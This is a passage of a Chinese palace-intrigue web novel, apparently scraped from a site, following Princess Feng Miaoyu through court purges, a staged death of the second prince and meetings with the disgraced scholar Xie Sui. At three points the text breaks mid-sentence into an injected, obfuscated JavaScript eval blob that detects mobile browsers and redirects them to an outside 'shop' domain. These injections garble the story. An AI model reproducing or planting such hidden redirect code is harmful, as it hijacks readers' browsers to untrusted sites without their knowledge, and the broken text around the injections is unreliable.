《她与驸马的二三事》 1. 长公主 殷春时节,盛京总是多雨。 雨,春雨,无比缠绵多情的春雨,带着薄愁轻雾,悄无声息的沾湿了杏花衣襟。 平远侯府被满门抄斩那天,正是这样的一个雨天。 晶莹雨串从青石瓦缘落下,一点一滴,汇成一洼又一洼腥臭的红泥。 侯府小世子猛然挣开了衙役的桎梏,蹒跚向前,又扑通一声遥遥跪倒在正北方云雾中若隐若现的玉阶金殿脚下。 “圣上明鉴!我平远侯满门忠烈,从未有过半点异心,与二皇子殿下合谋兵变之事,全是小人在背后诬陷栽赃—— 永乐长公主冯妙瑜指鹿为马,恃宠擅权!牝鸡司晨,此乃亡国之兆!请圣上明鉴啊……” 嘶吼声在静静的街巷间回荡,手起刀落,那声音很快湮灭在灰蒙蒙雨幕中。 一场残忍的厮杀过后,天地间却是如此平静。 死一般的寂寥。 平远候府不远处,一辆青盖小车内。八角琉璃灯散着剔透的暖光,冯妙瑜闭了闭眼,最后落下一声比紫烟还轻的长叹,疲惫道:“那些人向来是管杀不管埋的,平远侯府这么多年没功劳也有苦劳,怎么说也不该落个曝尸荒野的下场。青山埋忠骨,城外澜山脚下风景正好,你安排几个人,去把平远侯家的人都安葬在那里。” “诺。”车外有内侍恭敬应道,随后又问:“公主,我们现在是回府,还是?” “去凤仪宫。今日要是不去一趟,皇后娘娘怕是又要着急的睡不着觉,半夜来请人了。”冯妙瑜思忖片刻,淡淡道。 平远侯府外,青盖小车缓缓起行。车檐上,有一串银铃叮当作响。 春日的雨水来得急,去得更快。 平远侯府就在皇城根下,距凤仪宫还不到三里路程,不过在车内小寐一刹的功夫,那雨便已经停了。 凤仪宫飘散着若有若无的苏合香味道。 冯妙瑜走进凤仪宫时日头偏西,已至末时,午膳却还原封不动的摆在桌上。长公主冯妙瑜和三皇子冯敬文的生母,大梁国母仪天下的皇后张氏就恹恹的倚在不远处的贵妃榻上,脚底下跪了一圈宫人,个个如丧考妣,低头哀求张氏为凤体着想,好歹进些水米。 紫金绸衣,广袖曳地,漆黑的长发在头顶挽了云髻,右鬓绾一朵栩栩如生的魏紫牡丹绸花,远看依旧是海棠春睡般的好颜色,然而再走近点,云鬓间丝缕银光,眼角眉梢岁月的褶皱,还有那空洞枯槁的眼神,无一不在诉说这个女人已经渐渐老去的事实。 美人迟暮,何等悲凉。 冯妙瑜在心底暗暗感慨一句,随后上前恭恭敬敬行礼,淡淡唤了声:“母妃。” 长公主一个人都没带就进来,这是要和皇后娘娘单独说话的意思。这么多年大家都习惯了,也不需要特地吩咐,宫人给冯妙瑜倒了杯茶便心照不宣垂首退下去了。 金黄色夕光被祟祟人影踩碎了,最后一个离开的是张氏身边的大宫女郑姑姑,随着凤仪宫的门吱呀一声缓缓关合上,那仅有的一丝光亮也被关在了外面。森然华丽,银鎏金花瓶藏在阴影里泛着冷意,说是活人居住的宫室,这里倒更像一座地上的陵寝。 等人走干净了,张氏也就活过来了,她一改方才的厌懒之色,猛地拽住了冯妙瑜的手,那双冷冰冰的眼里透着急切,道:“人呢,死了吗?都死了?” 冯妙瑜抿了抿嘴,心里有些不悦,却还是平静道:“平远候府满门抄斩,二皇子贬为庶人,不日流放极边,永世不得回京。” 灭族离乡的悲剧,张氏却轻啧一声,不满道:“怎么只是流放呢?你确定你没有听错,只是贬为庶人流放,而不是绞刑?——那可是谋反啊!” 二皇子冯敬武乃圣上已故的原配妻子德贤皇后所出。不看僧面也要看佛面,德贤皇后就留下这么一个孩子,哪怕他真的反拿刀子架在圣上脖子上,看在德贤皇后的份上,圣上都不一定能下手杀了他,更何况,这次只是欲与平远候谋反。 张氏心气高傲,似乎是因德贤皇后生前总是压她一头,哪怕后来当上了继后,她依旧恨那位德贤皇后恨到骨子里。 不过这话就算说了张氏也听不进去,还平白惹得她发一通火。不如不说。 冯妙瑜就道:“贬为庶人流放和死了也没什么两样,他这辈子都不可能夺位了。眼下其他皇子年龄尚小,宫中再没有人能威胁到三弟的太子之位,母妃尽可安心了。” 张氏却摇头。 “可他是那个贱人的儿子,指不定哪一天又回来和你弟弟抢那个位子了!绝对不能放他走,我们得斩草除根才行。” “妙瑜,为了你弟弟,为了母妃,也为了你自己,你必须去——杀了他。” 张氏压低了嗓音。 二皇子谋反一案,明眼人都知道背后三皇子一派做了手脚,眼下只是拿不出证据罢了。如今圣上明显有意要放二皇子一马,圣意难违,和圣上对着干,这是嫌脖子上那个脑袋太多余么。 “母妃!这件事上得饶人处且饶人。父皇的意思,您难道还不明白……”冯妙瑜轻轻挣开张氏的手,劝道。 啪。 那是一记又狠又急的耳光。 张氏是个常年娇养在后宫里的妇人,但打人哪里有不疼的。 冯妙瑜扯了下唇角,没说话。 左边脸颊上火辣辣的痛,唇角似乎被刮破了,腥咸的铁锈味弥漫在舌尖。 纵使再美艳的脸,满是戾气时也不会好看到哪里去。 张氏指着冯妙瑜大骂道:“好啊,你现在长大翅膀硬了,就不管我和你弟弟的死活了吗?当年德贤皇后一家独大,那时你外祖家还是个六品芝麻官帮不上什么忙,我一个人在这深宫里护着你长大多不容易!你弟弟比你小两岁都比你懂事,前日还特地去法云寺为我祈福……我怎么会有你这样的女儿!白眼狼,没心肝的东西!你这是要看着我和你弟弟去死吗!你害死我们,你觉得你一个人能活吗!除了我和你弟弟,还有谁能容得下你!” 护着她长大?可她八岁以前都是在冷宫里度过的,只有一个掉光牙齿的老嬷嬷陪着,冯妙瑜不明白她口中的护着护在了哪里,正想着,一只白瓷茶盏照面飞来,“砰”地一声落在冯妙瑜脑袋旁,茶水混合着碎瓷片四处飞溅,白瓷片落地,那一点嫣红格外刺目。 冯妙瑜居然很平静,她抬手摸了摸自己的脸。 万幸这个时节天气还很冷,茶水凉的快,所以只是被碎瓷片划了个小口子。 要是滚烫的热茶…… 张氏似乎也被吓到了。她像被蛇咬了一口一样,猛地往后缩了一下,过了好久,她才颤抖着拉过冯妙瑜,眼泪断了线的珠子一样往下掉。 “怎么就流血了呢?这,这不会留疤吧?都怪你顶撞母妃,你要是乖一点,我怎么会……害你弟弟对你有什么好处?等你弟弟坐上皇位,你想要什么没有?二皇子必须死,就当母妃求你……” 冯妙瑜没说话,木偶一样安静,任由张氏搂着她大哭。 这样的事情发生过许多次了,冯妙瑜有时候会想自己对张氏来说到底是什么,为什么事事都必须顺着她的心意来?冯妙瑜知道自己应该拒绝的。可偏头看到张氏那张美艳又苍桑的面容,那只涂了蔻丹手指轻抚过她的脸颊,温暖的,她于是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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冯妙瑜和往常一样,沿着后院那条长满紫藤的游廊离开。这个时节紫藤连花苞都没有,苍白藤枝纠缠在一起,前面隐隐约约有一道修长的人影。 那人穿着粗布麻衣,消瘦的背脊却笔直如剑,个子很高,侧脸清隽,晚风撩起他的衣袂,飘飘然宛若画中仙。 看穿着打扮,应该是跟随主家入宫的侍从伴读之流。 只是这座书院已经荒废很多年,怎么会有旁人跑进这里,是迷路了吗?冯妙瑜一时也没料到会有旁人,眼中闪过一丝诧异。 那人听见脚步声,立即垂首站到一边,让贵人先行。 “这是你落下的东西吗?” 冯妙瑜俯身替他捡了掉在地上的玉佩,通体无瑕的羊脂白玉,递到他手中,又好心提醒了句:“过会宫门就要下钥了。顺着这条回廊走到头,再右转就能走到大路上了。” “多谢殿下。” 他说得一口十分地道的雅言,嗓音更是温润清雅,有如江上徐徐清风。 芒屩布衣,亦难掩风华。此人绝非池中之物。 冯妙瑜笑着点了点头。她看人一向很准,朝中如今有不少出身寒门的大臣是她力排众议举荐上去的。 日后若有机会,应与此人结交一二。 冯妙瑜在心里暗暗想着,径直离开了老书院,丝毫没有注意到那人一直盯着她的背影,目送着她远去,直到她的身影消溶在初春晦暗不明的暮色里。那眼神复杂而又冰冷。 2. 姐弟 翌日,依旧是春雨连绵。 冯妙瑜醒来时,天色未明,整座盛京城笼在一层迷蒙雨雾之中,就连门口那两盏琉璃宫灯都显得有气无力,苍白地飘着,好像下一秒就要熄灭了。 她难得醒的这样早。 也许是昨日亲眼目睹了平远候府的没落,许久未做梦的她,昨晚竟然又梦到了许家。 兰溪许家乃是清流世家中的翘楚,这样的家族,向来看不起张家这等靠着卖女儿发家的小门小户。四年前,正是两家因丞相之位争的头破血流的时候。 那年腊月初九,天气好极了。还不到十三岁的她,按照张氏的要求换了新制的宫装,镶满红宝石的鎏金头面和银狐皮裘衣压得她几乎喘不上气来,她艰难的挪动到太极宫中给父皇请安,又按张氏所教,在父皇笑着问她为何打扮的如此隆重时,状似不经意的说出了那句:“这算什么,儿臣上次见到许家的小姐,她穿戴的可比儿臣漂亮多了,光那花冠上面的红宝石,就足有婴孩拳头那么大呢。” 父皇的脸色当即就变了。 还不到腊月三十,许家就因贪墨被抄了家,男眷候斩,女眷为奴。听说抄家前衙役先在许府外围困了整整十多天,到了抄家那日,许家上百口人,饿死的,冻死的,不计其数。 梦里许家的家眷们身披绣金的彩衣,一只只嶙峋瘦骨用力掐着她的脖子,夹杂着呜咽的质问回响在耳边,杜鹃啼血般,凄厉无比…… 冯妙瑜灌了一大口冷茶,下了决断,她取了张纸,提笔写飞快地起来。 没过两日,冯妙瑜正漫不经心翻着收到的回信,翠珠和冯妙瑜身边另外一个贴身侍女阿玉一起端着热水进来了,冯妙瑜心不在焉的接过热帕子净了面,用完早膳,便打发了翠珠替自己去城外的法云寺上香祈福。翠珠前脚刚出发,冯妙瑜后脚便着人送了几封信,又带着阿玉一路直奔大理寺监牢。 眼下废皇子冯敬武就关押在那里。 这个时候时辰尚早,大理寺内没什么人,冯妙瑜先换了身衙役的衣裳,又趁着大理寺监牢看守换班的空档,低头跟在大理寺寺丞身后混进了大理寺监牢。 “二皇子就在前面。公主不论是有什么要说的做的,切记快一点,您得赶在下一班守卫换班时候出去,不然人多被看到就麻烦了。”大理寺寺丞低声道,又将手里的风灯连带着钥匙一并给她。 “多谢。”时间紧迫,冯妙瑜也不多话,“若是出了什么问题,大人只管出去撇清自己,不用管本宫。” 没有圣上手谕,私自带人进大理寺监牢可是重罪。 那寺丞却摇了摇头。 “公主又何出此言,我岂是那等忘恩负义之辈。微臣能有今日全凭公主提携,若没有公主,微臣这会还不知道在哪条街上乞食要饭,也许早就冻死饿死在街上了。” 说罢,他便抬步去拐角帮冯妙瑜望风了。 虽说冯敬武已被贬为庶人,但到底还是皇家血脉,大理寺这些人不敢为难他,除了气味难闻点外,炕床、桌椅等家什一应俱全,这牢房和外面普通民居没什么区别。 冯妙瑜进去时,冯敬武正懒洋洋的半靠在炕上,手里竟然还拿着一册时新的话本子,看得津津有味。 冯妙瑜环视一圈,道:“还有两日就要流放了,二皇弟还有心情看话本子,你在监牢里的日子过得蛮滋润嘛。” 那话本子在坊市间甚是紧俏,她蹲守了三日都没能抢上一册。虽然不想承认,但她确实有些嫉妒——她在外面为他的事忙的焦头烂额,这货却在里面悠悠闲闲地看她抢不到的话本子。 “长姐费不少功夫来这里,不是来和我唠嗑的吧?”冯敬武捏着书角,眼底闪过一丝冰冷的光。 “长姐这是要来杀我了吗?” 冯妙瑜知道时间有限,干脆道:“二皇弟何必明知故问。你必须死。就算我放过你,张家的人绝不可能放过你。” “你杀了我,父皇也不会放过你。”冯敬武笑了笑,“就像他容不得许家和平远候一样。”他的后背微躬着,像只全神警戒的刺猬。 冯妙瑜突然伸手揉了揉他的脑袋,那头发摸着硬邦邦的,她道:“二皇子冯敬武必须死在流放的路上。但碰巧关在二皇子隔壁监牢,举目无亲的周明却不会死,还会碰巧在二皇子流放的那一天被放走。两人关的这样近,身形又有几分相近,衙役一时把两个人弄混了,也不奇怪不是?” 冯敬武根本没想到她会这样说,骤然愣住了。 “你要放我走?” “通关文牒,还有路上用的盘缠,差不多能用到的都给你准备好了。离开盛京,就别再回来了。”冯妙瑜道。 沉默片刻,冯敬武道:“放我走,她那边你要怎么交代?” 心照不宣,两人都知道这个“她那边”指的是皇后和在背后的张家。 “我长大了,翅膀硬了,有自己的决断,也不是事事都听她的。”冯妙瑜轻轻道。 冯敬武这一去大概日后是再见不到了,她本来还想再说两句话,却听外面传来咳嗽声。 大概是到时辰了。 冯妙瑜不敢在大理寺监牢里久留,只好拍了拍冯敬武的肩,便匆匆跟着寺丞离去了。 直到换好衣裳重新坐回马车里,冯妙瑜才松了口气,今天运气不错,事情很顺利的办好了。 接下来,只要安排人劫下那位假二皇子,毁尸灭迹就好了。 既满足了母妃要求的“杀死二皇子”,又不会因为违背圣意而被父皇给记恨上。 还有更重要的一点。这样一来,她就不用做出手足相残的事情了。 都说成大事者,要狠下心来不拘小节。 可她就是狠不下心来。 马车在褐石官道上缓步前行。冯妙瑜连着几日都没睡好,又忙活了一早上,这时候困得上下眼皮直打架,她干脆支了个迎枕靠在车壁上补觉。 她迷迷糊糊才刚睡着,马车却毫无征兆的猛晃了一下,随即停在了半道上。 不等她发问,车夫已苦着一张脸过来,道:“回禀殿下,雨天路滑,马儿的腿受了伤,怕是不能继续赶路了。” 雨下大了。 阿玉撑开伞,扶着冯妙瑜下了车。 这个时候大路上车马繁忙,车夫原本想着绕小道更快,就走了小道,没想到却弄巧成拙。此地虽然在盛京城内,偏僻冷清,一条长街上只有几家门面零星开着。 冯妙瑜正打算找附近的店家问问,看能否暂借一匹马时,身后骤然传来一道略有些耳熟的声音。 “公主?” 粗布白衣,淡黄旧伞,执伞的那只手虽有些苍白,却指节分明。那人的眉眼溶在一笼仲春的烟雨中,温润出尘,公子无双。 冯妙瑜很快想起,这是昨天在老书院紫藤回廊中遇到的那位年轻郎君。 没想到这么快又见面了。 似乎是瞧出了冯妙瑜一行人的窘境,那位年轻郎君迟疑了一下,道:“殿下若是不嫌弃的话,在下倒有一匹可以拉车的骟马。不过这匹马眼下被茶馆的掌柜借走了,要过一会才能回来。您若是不着急的话,可在茶馆里稍候。” 雨势越来越大了。 冯妙瑜不动声色的环视了一周。 这样大的雨,这样一条冷僻的长街,恐怕很难再找到第二个愿意借马的人了。 她于是笑了笑,道:“那便多谢公子了。只是还未请教过公子姓名。” 雨雾朦胧了街影,为掩人耳目,冯妙瑜今日打扮的十分低调,淡淡月白窄袖衫子,天水碧的披帛一端塞入裙腰,另一端绕过肩头懒懒垂 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14357884|152807||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 散,玉软花柔,娇而不媚,没由来地让人觉得惊艳。 “在下姓谢,单名一个随字。是户部侍中林大人门下的幕僚。” 谢随抬手执礼,标准的世家公子仪态,行云流水,极为赏心悦目。 “谢公子。”冯妙瑜道。 谢随…… 只是这个名字,怎么听着有点耳熟呢? 谢随似乎是这间茶馆的常客,他轻车熟路的翻出茶盏,沏了杯茶递给面色略有些苍白的冯妙瑜。 梅子青的龙泉青瓷,薄绿的新茶浮在里面。 站在冯妙瑜身后的阿玉微微皱眉,暗中用眼神询问冯妙瑜,是否需要试毒。 冯妙瑜递给她一个无妨的眼神,淡笑着接过了茶盏。道了谢,却也不喝,只是将茶盏捧在手里。暖意顺着指尖游走,稍微驱散了雨雾带来的寒意。 “听谢公子说话,似乎是盛京本地生人,但又带点北地口音。” “公主明察。在下确实是盛京生人,后来家中变故,在北地的远亲家生活了一段时间。”谢随微微颔首,嗓音清雅,听他说话简直是一种享受。 家中变故,无非是家道中落、长辈亡故这些。家家都有本难念的经,这种事情一般是不愿再提起的。冯妙瑜没有揭人伤口的爱好,于是也不往下问,只道:“待回去后,本宫会命人尽快将你的马匹送回……” 她突然顿了一下,想起自己还未问过他住在哪里。 “送到这家茶馆即可,我就寄住在这里。”谢随似乎看出了她的迟疑,温和道。 冯妙瑜应了声好,她转了转手中的茶盏,又瞥了一眼对面的谢随。 他没什么反应,即使盛京臭名昭著的长公主冯妙瑜就坐在他对面,他却非常自在随意的煮着茶,雨滴淅淅沥沥落在窗檐边,纤长的睫毛半垂着,根根分明。 茶馆内一片沉默。 原来没话找话也是一门功夫,冯妙瑜心想。往日总习惯于对方找话题,违心的奉承也好,绞尽脑汁的试探也罢。眼下轮到她,她张了张嘴,却不知道该说些什么。 好在这令人尴尬的沉默并未持续太久。 听得茶馆外传来的马蹄声音,冯妙瑜总算松了口气。她又道了声谢,便带着阿玉和车夫匆匆离去了。 这间茶馆的掌柜老骆原是谢家家仆,从小看着谢随长大的,对谢随的性子再清楚不过。见谢随竟请一女子回来喝茶,还一反常态的好心借马给人家,登时瞪大了一双眼睛,视线来来回回在谢随身上扫了好几遍,好像他身上长了朵花儿似的。 银铃声渐渐远了,目送着那辆青盖小车消失在雨幕里,谢随回了身,老骆本以为能在那张面容上看到的怀春少年的留恋,忧郁,迷茫……统统没有。少年秀美的面容上面无表情,就像是落在松树梢头的冰雪。 他的目光落在那只梅子青的茶盏上。 茶凉了,人也走了,那人细白的手指摩挲过茶盏边缘的触感却固执的残留在空气里,带着雨水腥冷的暖香。 谢随移开了视线,淡淡道:“脏了。拿去扔了。” 老骆眨了眨眼睛,没搞懂自家少爷脑子里都在想什么,带着点委屈的抱怨了句:“我的少爷,这套茶具不是才用了一次嘛,还挺贵的来着……” 法云寺在盛京城郊的云山上。冯妙瑜回到公主府后,翠珠还没有回来。 冯妙瑜才换了身衣裳,阿玉端着一碗热腾腾的姜枣汤进来了。 “按照您的吩咐,已安排了人去给谢公子还马,车夫眼下在准备拉伤马的板车,奴婢估摸还要一炷香左右才能出发。” 姜枣汤有些烫手,冯妙瑜先把小碗放在一旁的书桌上,目光无意扫过角落里一沓泛黄的书卷。 安之,谢安之。 她突然想起来那位谢公子是谁了。 3. 驸马 谢随,字安之。 原御史大夫谢玄的嫡长孙。此人生于簪缨世家,少年成名。听说他六岁时与朝中大儒吟诗作对,毫无怯色且信口拈来,凤彩鸾章,一时间人人传唱,洛阳纸贵。十五岁高中状元,春风得意,风头之劲无人能及。 不料三个月后,谢玄因上书,为自三门宫之变后一直被幽禁在岭南的先皇长子求情而获罪流放。 人人称赞不已的谢家大公子,一夜之间,变成了人人喊打的罪臣之子。 冯妙瑜摸了摸那卷边缘早已破损不堪的诗集,不由得有些唏嘘。 可惜了。 纵有盖世才华又如何,罪臣之子这个身份压在头上,只怕这辈子都无缘再入官场。只能屈居于人下,做个碌碌无名的小幕僚了。 阿玉打开妆台抓了把碎银作为谢礼,她正要出门吩咐去还马的小厮,却被冯妙瑜叫住了。 就算谢家早已落魄了,但士族子弟骨子里多多少少有几分傲气,视金钱为粪土。若直接拿银钱作谢礼,只怕会落了他的面子,惹得人家心里不痛快。 冯妙瑜便吩咐阿玉换了一套文房四宝送去。 湖笔徽墨,宣纸端砚。 既可以在余闲时挥墨诗画,也可以拿去典卖换银钱。 翠珠从法云寺回来时,冯妙瑜已用过晚膳了。 冯妙瑜很早就知道,就像阿玉是父皇派来监视她的眼睛一样,翠珠则是皇后张氏和张家派来的人。 一如既往,冯妙瑜寻了个由头打发走阿玉,十分贴心把安排刺杀“二皇子”的重任委托给翠珠周旋。 张家虽说是个书香世家,但家中有个比冯妙瑜年长几岁的纨绔表哥张久闵。此人和盛京内外那些市井泼皮有着说不清的干系。专业的事情就该让专业的人去做,这种打家劫舍的事情交给他最妥帖不过,还有大理寺中人暗中帮忙呢,想失败都难。 这场雨过后,接下来的几日竟都是极好的大晴天。 “二皇子”冯敬武在流放路上遇刺身亡,尸骨无存的消息传开时,冯妙瑜正坐在院子里逗猫玩。通体雪白的蓝眼狸奴,懒洋洋的眯着宝石似的眼睛,任人逗弄。前来传话的仆下才刚刚离开,后脚宫里就来人了。 当今圣上身边的红人刘公公笑眯眯的进了院子,身后还跟着五六个内侍,抬着四五个沉甸甸的大箱子。宫里这些人都是人精中的人精,那些坊间沸沸扬扬的传闻一字不提,只说圣上爱女,特地赏赐新进贡的绸缎珠宝若干。 冯妙瑜一脸平静地谢了恩,待刘公公和内侍们走后,便喊了翠珠过来清点入库。 三件成色极好的墨狐裘大氅,数十匹样式新奇的织金缎,外加珠宝玉器若干,翠珠一面清点入库,一面感慨道:“圣上可真疼您。” 别的不说,就光是那一件墨狐裘便价值千金之数。宫里小妃嫔有的一辈子都见不着这样好的狐裘,更别说外面的人家了。 冯妙瑜却连眼皮都没抬一下,给翠珠和阿玉各分了几匹织金缎,又转头继续去逗弄她那只蓝眼狸奴了。 她那位父皇冯重明看似对她这个嫡长女宠爱异常,珠玉绸缎时不时流水一样送进来,甚至还破例允许她一个未出阁的女子在宫外自立府邸。 可帝王家最是无情。 表面上瞧着鲜花着锦,背地里却是如履薄冰。 那只蓝眼狸奴扭了扭身子,腾的一下从她怀里跳开了。 冯妙瑜在心里冷笑一声。 她要是没耍心眼,阳奉阴违,冯敬武真的被张家害死在流放路上了,这时候只怕送来的就不是绫罗绸缎,而是滚烫的热油了。 到底不是从小养在膝下的,就像张氏在一双儿女里更在乎小儿子一样,她那位父皇也不很在乎她这个嫡长女。 也许有那么几分愧疚吧,但更多是忌惮。 帝王的忌惮可不是开玩笑的。谢家,许家,平远侯……自古以来,功高震主的有几个能落得好下场。 可若无权无势,没个依仗,就会像她那几个庶出的皇妹一样,才刚及笄就被草草嫁出去笼络人心。运气好点的还能留在盛京,运气差点的,就如五皇妹,直接被送到千里之外的蛮荒之地,与一个年纪能当她父亲的男人和亲,临行前,任她伏在天子脚边,哭的泪断肝肠,也无济于事。 左右都是一个难字。 冯妙瑜烦躁的叹了口气。 但既收了赏赐,于情于理,都少不了进宫谢恩。 翌日一早,冯妙瑜换了件水红的窄袖衫子,她打了个大大的哈欠,阿玉在给她梳头。鸦青的长发在头顶两侧挽了双髻,冯妙瑜从昨日送来的赏赐里捡了两朵同色的水红宫花别在鬓边,翠珠捧着妆匣过来,细细点了三瓣莲花花钿,遮住那日被碎瓷划到的伤痕,等冯妙瑜收拾停当入宫谢恩时,早朝都已散了。 冯重明换了身蓝绸道袍,正在太极殿中,一面喝茶,一面和刘公公随口聊着天。 冯妙瑜进去后恭恭敬敬的行礼谢恩。 冯重明今年还不到五十,头发花白,精神却很不错,俊朗的面容中带着一种漫不经心的温和感。 任谁第一眼见他,都会觉得他是一个无害的中年人,很难将他与一个手刃父兄上位的狠辣君主联系在一起。 见冯妙瑜过来,冯重明拍了拍自己旁边的位子,让她坐在自己的身边,笑道:“朕的小狸娘如今出落的越发漂亮了。” 狸娘是冯妙瑜的小名。 那不过是个随口起的名字,没什么寓意,冯妙瑜闻言还是有一瞬的恍惚。父皇很多年没有这样称呼过她了。她一时间也摸不准冯重明的心思,只好顺势赔着个笑脸道:“父皇神武不凡,母妃美貌动人,儿臣自然差不到哪里去。只是父皇您这话说得,难道儿臣以前不漂亮么?” 这话经女孩儿娇俏的语调说出口,逗得冯重明哈哈大笑,他还扭头对刘公公道:“瞧瞧,这丫头这张嘴是越发厉害了,牙尖嘴利,也不知道得给她找个什么样的驸马才能镇得住。” 驸马? 好端端怎么突然提起这个。 冯妙瑜心里突然咯噔了一下。 她这位父皇可不是那种想一出是一出的人,冯妙瑜端起茶抿了一口,只听冯重明道:“前几日,朝中又有人提起你的婚事。你年纪不小了,如今朝中有不少青年才俊,你可有看得顺眼的?” “自古婚姻大事,父母之命媒妁之言,儿臣哪里能说得上话?父皇可是有钟意的人选了?”冯妙瑜试探道。 “朕这里倒是没有,”冯重明缓缓道,眼底闪过一丝冷意,“不过你母妃好像很钟意林家的世子。林家战功赫赫,手中还握着京畿地区十万大军,配你倒也足够。你怎么想?” 冯妙瑜面色不变,藏在袖子里的手却紧紧握成拳。 张氏,这是疯了么。 就算是给三皇子铺路,想笼络朝中 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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虽说本朝风气较历朝历代更为开明,但这春猎一连要办好几日,吃喝住宿都在盛京郊外的猎场中,很不方便,故鲜有女眷随行,更别说一个未出阁的姑娘了。 冯重明拍了拍冯妙瑜的手,道:“怕什么?你是朕的女儿,有朕在,他们不敢说什么。” 话说到这份上,冯妙瑜也只好笑着答应下来。眼看着快到午时,冯重明便顺口留她一起用了午膳,这个年纪的孩子大多数喜甜,等走的时候,他还特地吩咐宫人包了几样新制的糕点让她带回府里,冯妙瑜于是笑着全盘收下。 直到坐进轿子里,冯妙瑜揉了下假笑到抽筋的脸颊,嘴角边那一丝的笑意也没了。 翠珠走过来敲了敲车壁,笑着问道:“公主,您难得进宫一趟,要顺道去凤仪宫那边看看吗?” 她袖间带着极淡的苏合香气,这宫里面只有皇后的凤仪宫中用此香,冯妙瑜冷眼扫过她鬓间那支早上还没有的碧玉簪子,和父皇谈话用膳的这段时间里,翠珠去了哪里,又做了什么,不言而喻。 “左右也没什么新鲜事,又何必去打扰母妃。回府。” 说罢,冯妙瑜便一把拉上了车帘。 车内那盏八角琉璃宫灯散发着柔和的光,冯妙瑜像是被人抽走了骨头一样,瘫在软垫上,闭上了眼睛。 这样的日子也不知道什么时候才是个头。 4. 春猎 春朝苦短,半月功夫很快就过去了。 昔日太祖皇帝以骑射定天下,后来海内升平,又以田猎教育子孙臣下用兵打仗之道,这春蒐秋猕的习俗便自此流传下来,成了每年君臣同乐的一件大事。 猎场在盛京郊外的云山脚下,除了野兔山鸡等,还有诸如野猪、老虎等猛兽——不过都是从小被人圈养大的,早就没了野性,和大猫也差不了多少。 毕竟就是图一乐,伤到贵人谁能担待的起。 冯妙瑜下了马车,一片柔绿的山野在眼前铺展开来。此刻约莫酉时光景,天光尚明,一座座小山似的临时营帐,蓝底金边的大旗簌簌飘扬,十几个宫人们正搬运着吃食酒坛等物,自旗下匆匆走过。 春蒐要到明日一早,今晚只是开始前的小宴。 这种场合自然少了几分往日的拘谨。 冯重明坐于上首,一袭利落的浓紫便装,八九个同样穿常服的官员围着他说说笑笑。好不热闹。 “父皇。” 冯妙瑜理了理裙袍,上去含笑行了礼。 那几位簇拥着帝王的官员不约而同地退了小半步,神态各异。 在场众人早就知晓此番春蒐长公主将会随驾,不过知道是一回事,实际见到又是另一回事。 身侧传来几道拖拖拉拉的咳嗽声。 目光像是锥子一样扎在背上。冯妙瑜不用回头看都知道,是那几个固守礼教的老古董在狠狠瞪她。 这群人看她不顺眼也不是一两天。 婚姻一事,合二姓之好,自古以来都是父母之命,媒妁之言,哪里有让姑娘自己挑选相看的道理。 不过君王之命在上,他们也只敢在后面吹吹胡子,瞪瞪眼睛,还能把她抓取罚抄百遍女则女戒不成? 冯妙瑜在心里暗笑两声。 颠簸了一路,她本来打算坐在冯重明身边吃点东西就回营帐里歇息,冯重明大手一挥,话语中意有所指。 “难得出来一趟,你不和同辈人好生乐一乐,和我们这群老头子凑在一起有什么意思?” 冯妙瑜明白他的意思,只能笑着应下,任由宫人领她到营地另一边。 今日的坐席显然是帝王有心安排。不按官位尊卑,而是年龄相仿者为邻。 冯妙瑜普一落座,手边全是正当年华的少年,瘦的、高的、壮的,各式各样的。冯妙瑜登时有种身处绿叶丛中的感觉。 毕竟抛开残害手足忠良、豢养面首等诸多传闻,冯妙瑜乃是正宫所出的长公主,又是个不可多得的美人。 鄙夷者有之,但更多还是赶着上来讨好的。 不过也不知道出于何种心态,这些少年大都穿着月白的广袖长袍,长眉微蹙,个个都像是捧心的病西施。当然,里面还掺着几个效颦的东施。 盛京从什么时候起,开始流行起这种调调了。冯妙瑜心里暗暗的想。 推杯换盏间酒过一巡,宫中的软酒难以醉人,但醉人的哪里是酒水。 有人命自家仆从搬了琴,有人献上现场所做的诗画…… 一个瞧着正气凛然的方脸公子上前为冯妙瑜斟酒,瓷白的酒盏低于冯妙瑜,一如他低垂的眉眼。 “微臣不才,但是微臣家中还有一个弟弟,愚弟姿容胜雪,且极通音律,殿下若是不嫌弃,我二人愿随侍殿下左右,效犬马之劳……” 冯妙瑜猛地咳嗽起来。 一口酒卡在嗓子眼里,她吓得差点被噎死。 如今盛京这些年轻公子都这般大胆么?又或者说,她在坊间的名声竟然已经差到了这个地步。 好在那方脸公子说话声音极小,只有冯妙瑜和她一旁的翠珠两人听见了。 翠珠率先反应过来,在冯妙瑜的耳边小声提醒,道:“殿下,这些人恐怕是打听到了苍公子的事,模仿苍公子的衣着打扮,想讨您欢心呢。” 经她这么一提醒,冯妙瑜这才想起,她的公主府里还有苍晏这么一号人。 此人乃是冯妙瑜故交之友。 他原是个行走江湖的无名杀手,武艺高超,只不过,他的仇家更多。 冯妙瑜受那位故交嘱托,帮忙隐匿此人养伤。藏叶于林,冯妙瑜干脆在自己府里弄了个有男有女的器乐班子,将此人以琴师的身份混在里面,就连翠珠和阿玉都不知道他的真实身份。 谁知消息传到坊间,就成了她豢养二十多个面首,其中,又以一个姓苍的白衣公子最受宠爱…… 